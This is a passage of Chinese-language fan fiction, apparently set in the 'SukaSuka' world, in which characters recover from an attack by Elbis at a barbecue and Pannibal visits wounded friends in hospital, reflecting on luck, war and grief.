“大家都努力地做到了必要的事，但那些事本身并不足以战胜艾尔比斯的袭击。能全员活着坐在这里，我觉得也靠着先进的装备，也有很多运气成分。甚至，运气的成分最多。”菟琪旭说。

“好像，无法反驳。”莉莉娅叹气。

众人沉默。

缇亚忒突然从椅子摔向地上，被莉莉娅一个箭步拉住。

“咕哇——！”

她太累了，刚才趴着直接睡着了。

“我去找个地方让她睡会。大家多吃蔬菜水果。健康第一。”莉莉娅说。

格里克迷迷糊糊地往烤肉架上放了一片番茄，惊觉出错，自己嚼了起来。

Afterword:

我被莉莉娅强行赶出来放假。理由是暂时没有星船可以飞，跑道也需要整修，所以 ATC 无事可做。我一时找不回前天早上那个活泼的潘丽宝了。

昨晚的烤肉比平时焦了一点。那种没闻过的焦香味在我的鼻尖和脑海挥之不去。

现在能做的事，当然是和菟琪旭一起去医院和许多熟悉的人再见一面。比如说，那个奇迹般地被奈芙莲抓回来的白发校友。

“其实玛尔歌莉特很轻的，但到我背上就变得很重。我好菜啊！”病床上的费奥多尔看起来不接受菟琪旭的安慰。

“好啦好啦。以后努力锻炼吧！等玛尔歌好点了，就可以向她当面忏悔啦。”菟琪旭坐到病床边拉住了费奥多尔的手。

“她真的还活着吗？”

“她在 1 号 ICU 病房。那我就不打扰两位了。我先去珂朵莉那边看看。”

“好哦~”

我又望了一眼费奥多尔旁边床位的缇亚忒。她还没睡醒。

退出来，敲敲另一间病房的门：“Pannibal です。”

“请进。”

我推开门。右边是午后打盹的艾瑟雅睁眼向我招了招手。往里是一台轮椅，然后本应是珂朵莉的病床，但此刻竟雪白地空置着。

我立刻扫视整个房间。奈芙莲背对我站在房间深处耀眼的午后阳光里。珂朵莉坐在威廉床边互喂午饭。

大家都好好的。大家都会好起来的。

“中午早，潘丽宝。”奈芙莲转过身来。珂威也向我挥手。

“今天放假吗？”

“嗯。”

“穿着军服放假，估计是心情不太好，被莉莉娅强行赶出来了呢。”

“只是天上暂时没有需要交通管制的东西了。可蓉就没被赶出来。她在修船修跑道。”

奈芙莲给我搬来一张椅子：“不用在意。我想多活动一下。”

“谢谢。”

“我啊，还想与很多人再见一面。有点想回家。顺便想看看妮戈兰老师。”

“哦！好主意！我也要去。”

“都不知道要怎么去呢。”

“跟莉莉娅说一声，然后买飞空艇票去 68 号岛不就好了？”

“啊，我也怀念那个地方了。可惜我们几个还没有力气长途旅行。”

“我脑海里有一种挥之不去的死亡恐惧。我觉得我还有必须完成的事，但死亡不停地迫近着我。已经来不及了。我现在都不敢坐会飞的东西。这完全不是原来的我。”

“是因为格里克做的黑暗烤肉吗？烤焦的肉吃坏了肚子？”

已经不是烤焦的肉的问题。还有烧红的铁锈味和黑炭味。

“我昨晚一直在想，如果艾尔比斯的炮弹打向了我们的军港会怎么样。如果被烤焦的是我们会怎么样……”

“我昨晚也翻来覆去地想着这些，但我想明白了。没必要太在乎为什么他们死了或者我们活着。在没有文明的时代，二八定律的败者会死亡。到了这个文明世界，大多数时候败者也能回到开始的地方自在的活着，只有少数时候对败者的惩罚依然太重了点。过重的惩罚是不对的，所以潘丽宝不用把不对的事放在心上。”

“我觉得那个不叫惩罚。那个是在向所有人宣告，你们活着幸福着并不是理所当然的。一切的生命和幸福纯属偶然。”

“那个叫战争。”

“莉莉娅会想办法拯救所有人的。我们也会想办法。”

“活着是理所当然的事。只要还活着就理所当然地活下去。”

“我可能也需要一个人静静。”

我又敲了敲菈琪旭所在的病房门。没有反应。

我直接推门而入。

窗帘被拉了起来，使房间里只剩少许几道暖暖的温存。

缇亚忒一如刚才的样子无所事事地熟睡着。

费奥多尔竟也闭眼入寐，并且左右脸和枕头上都挂着泪痕。

菟琪旭趴在费奥多尔床边。她的双眼压着的床单上，又洩着另一滩热热的湿迹。

有一些人理所当然地活着；另一些人理所当然地也活着，只是在我没看见的地方睡着了。

这太过分了。

我好想和她们一起做个梦，一起梦见我们过去的家，梦见大家都在的妖精仓库。

我什么都没有失去，但我实在禁不住悲伤。我的心像失去了右臂一样疼痛。我的眼里也溢出着两行模糊的泪。